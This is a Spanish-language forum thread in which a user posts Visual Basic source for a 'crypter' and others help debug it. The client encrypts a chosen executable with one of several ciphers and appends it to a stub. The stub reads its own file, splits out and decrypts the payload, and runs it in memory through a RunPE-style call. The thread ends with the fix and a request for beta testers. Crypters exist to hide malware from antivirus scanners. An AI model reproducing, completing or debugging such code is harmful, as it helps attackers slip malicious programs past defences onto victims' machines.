Hola Gente!!

estoy haciendo un cripter, gracias a los manuales de skyweb07 y sanlegas, con varias opciones, y resulata que al probar-lo me salta el tipico runtime error 9., subscript out of range, me he estado rompiendo la cabeza, i no tengo coj.... de encontrar el error, no se donde esta.....

por curiosidad, mire un code de skyweb, el de metiendo datos en el stub, y tambien me salta el mismo error en la misma linea, no se si sera problema mio, de mi vb o es que ya es asi la cosa...


if data(2)= "1" then

akiesta el error, no pudo meter todo el code, el puto imageshack no me deja subir imagenes, no se porquesera....

saludos i gracias
"vive y deja vivir"
por lo que dice el titulo, el problema esta en el stub, fijate que hayas metido todas las firmas correctamente, ya si el error esta en el crypter, fijate bien que hayas declarado bien las variables, si pusieras una parte del code mas grande se podria ayudar mejor, salu2
bueno, d3espues de mirarmelo mil veces no encuentro el error, haver si alguien lo ve....,
cliente:

Código: Seleccionar todo

dim tipo As String
Dim archivo As String, stub As String, encriprc4 As New clsRC4, encripcryptapi As New clsCryptAPI, encripxor As New clsSimpleXOR, encripblowfish As New clsBlowfish, encripdes As New clsDES, encripgost As New clsGost, encripskipjack As New clsSkipjack, encriptea As New clsTEA, encriptwofish As New clsTwofish, encripcrjind As New CRijndael


Private Sub ChameleonBtn1_Click()
With cd
    .DialogTitle = "Escoja un Archivo"
    .Filter = "Archivo Ejecutable (*.exe)|*.exe"
    .ShowOpen
End With

     If Dir(Trim(cd.Filename)) = "" Then Exit Sub
    
    
    Text1.Text = cd.Filename
    
If Text1.Text = "" Then
    MsgBox " Escoja un Archivo", vbInformation, Me.Caption
End If
        
End Sub

Private Sub ChameleonBtn2_Click()
With cd
    .DialogTitle = "Escoja el stub"
    .Filter = "Archivos Ejecutables (*.exe)|*.exe"
    .ShowOpen
End With
    If Dir(Trim(cd.Filename)) = "" Then Exit Sub
    
    Text2.Text = cd.Filename
    
If Text2.Text = "" Then
    MsgBox "Escoja un Stub", vbInformation, Me.Caption
End If
End Sub

Private Sub ChameleonBtn3_Click()

With cd
    .DialogTitle = " Guardar archivo"
    .Filter = "Archivos ejecutables (.exe)|*.exe"
    .Filename = "cripted.exe"
    .ShowSave
    End With
    


Open Text2.Text For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1

Open Text1.Text For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1
'option1=rc4
'option2=cryptapi
'option3=xor
'option4=blow
'option5=des
'option6=gost
'option7=skipjack
'option8=tea
'option9=twofish
'option10=crjindael


    If Option1.Value = True Then
       archivo = encriprc4.EncryptString(archivo, Text3.Text)
       tipo = "1"
    GoTo seguir
    End If

    
    If Option2.Value = True Then
        archivo = encripcryptapi.EncryptString(archivo, Text3.Text)
        tipo = "2"
    GoTo seguir
    End If

    
    If Option3.Value = True Then
        archivo = encripxor.EncryptString(archivo, Text3.Text)
        tipo = "3"
    GoTo seguir
    End If


    If Option4.Value = True Then
        archivo = encripblowfish.EncryptString(archivo, Text3.Text)
        tipo = "4"
    GoTo seguir
    End If

    If Option5.Value = True Then
        archivo = encripdes.EncryptString(archivo, Text3.Text)
        tipo = "5"
    GoTo seguir
    End If

    If Option6.Value = True Then
        archivo = encripgost.EncryptString(archivo, Text3.Text)
        tipo = "6"
    GoTo seguir
    End If

    If Option7.Value = True Then
        archivo = encripskipjack.EncryptString(archivo, Text3.Text)
        tipo = "7"
    GoTo seguir
    End If

    If Option8.Value = True Then
        archivo = encriptea.EncryptString(archivo, Text3.Text)
        tipo = "8"
    GoTo seguir
    End If

    If Option9.Value = True Then
        archivo = encriptwofish.EncryptString(archivo, Text3.Text)
        tipo = "9"
    GoTo seguir
    End If
Exit Sub

 
     
seguir:
    Open cd.Filename For Binary As 1
    Put 1, , stub & "text4.text" & archivo & "text4.text" & tipo & "text4.text" & Text3.Text
    Close 1
    
    MsgBox "Archivo encriptado en:" & cd.Filename, vbInformation, Me.Caption
    

End Sub

Private Sub ChameleonBtn5_Click()
Text3.Text = ""

For i = 1 To 12
        If i = 2 Or i = 4 Or i = 6 Then
            Text3.Text = Text3.Text & RandomNumber
        Else
            Text3.Text = Text3.Text & RandomLetter
        End If
    Next i
End Sub

Private Sub ChameleonBtn6_Click()
Text4.Text = ""

For i = 1 To 12
        If i = 2 Or i = 4 Or i = 6 Then
            Text4.Text = Text4.Text & RandomNumber
        Else
            Text4.Text = Text4.Text & randomsimbols
        End If
       
    Next i
End Sub

Private Sub Form_Load()
Text3.Text = "Password.."
Text4.Text = "Split.."



End Sub
    
    
Private Function RandomNumber() As Integer
    Randomize
    var1 = Int(9 * Rnd)
    RandomNumber = var1
End Function

Private Function RandomLetter() As String
mak:
    Keyset = "ABCDEFGHIJKLMNOPQRSTUVWXYZÇabcdefghijklmnopqrstuvwxyzç"
    Randomize
    var1 = Int(54 * Rnd)
    If var1 = 0 Then GoTo mak
    RandomLetter = Mid(Keyset, var1, 1)
End Function

Private Function randomsimbols() As String
crear:
    Key = "|#~€¬}@€[]{_:_;^*><!ª\º/"
    Randomize
    var1 = Int(24 * Rnd)
    If var1 = 0 Then GoTo crear
    randomsimbols = Mid(Key, var1, 1)
End Function

stub:

Código: Seleccionar todo

Dim datos() As String, archivodes As String, variableu() As Byte
Dim yo As String, archivo As String, encriprc4 As New clsRC4, encripcryptapi As New clsCryptAPI, encripxor As New clsSimpleXOR, encripblowfish As New clsBlowfish, encripdes As New clsDES, encripgost As New clsGost, encripskipjack As New clsSkipjack, encriptea As New clsTEA, encriptwofish As New clsTwofish
  
Sub Main()

yo = App.Path & "\" & App.EXEName & ".exe"

Open yo For Binary As 1
yo = Space(LOF(1))
Get 1, , yo
Close 1

datos = Split(yo, "text4.Text")


'option1=rc4
'option2=cryptapi
'option3=xor
'option4=blow
'option5=des
'option6=gost
'option7=skipjack
'option8=tea
'option9=twofish

If datos(2) = "1" Then
archivodes = encriprc4.DecryptString(datos(1), datos(3))
GoTo seguir
End If


If datos(2) = "2" Then
archivodes = encripcryptapi.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "3" Then
archivodes = encripxor.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "4" Then
archivodes = encripblowfish.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "5" Then
archivodes = encripdes.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "6" Then
archivodes = encripgost.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "7" Then
archivodes = encripskipjack.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "8" Then
archivodes = encriptea.DecryptString(datos(1), datos(3))
GoTo seguir
End If

If datos(2) = "9" Then
archivodes = encriptwofish.DecryptString(datos(1), datos(3))
GoTo seguir
End If

seguir:

variableu() = StrConv(archivodes, vbFromUnicode)

Call JDVFWEC(App.Path & "\" & App.EXEName & ".exe", variableu(), Command)



End Sub

"vive y deja vivir"
cambia el delimitador "text4.Text" por otro, mira el source que deje en el videotutoral, para que compares mejor
hola, ya lo he canviado, vuelto a escribir, me he mirado todo el code, comparado con el tuyo, etc, y sigue igual, mañana con la cabeza mas clara me lo vuelvo a repasar....

gracias por tu respuesta.

saludos
"vive y deja vivir"
al fin!!!
resuelto!!!

el problema estaba aki:



Private Sub Form_Load()
Text3.Text = "Password.."
Text4.Text = "Split.."



End Sub

gracias atodos por vuestras respuestas, me falta perfeccionar-lo un poco y lo posteo, alguien para hacer de betatester?

saludos!!
"vive y deja vivir"
Responder

Volver a “Dudas y Preguntas”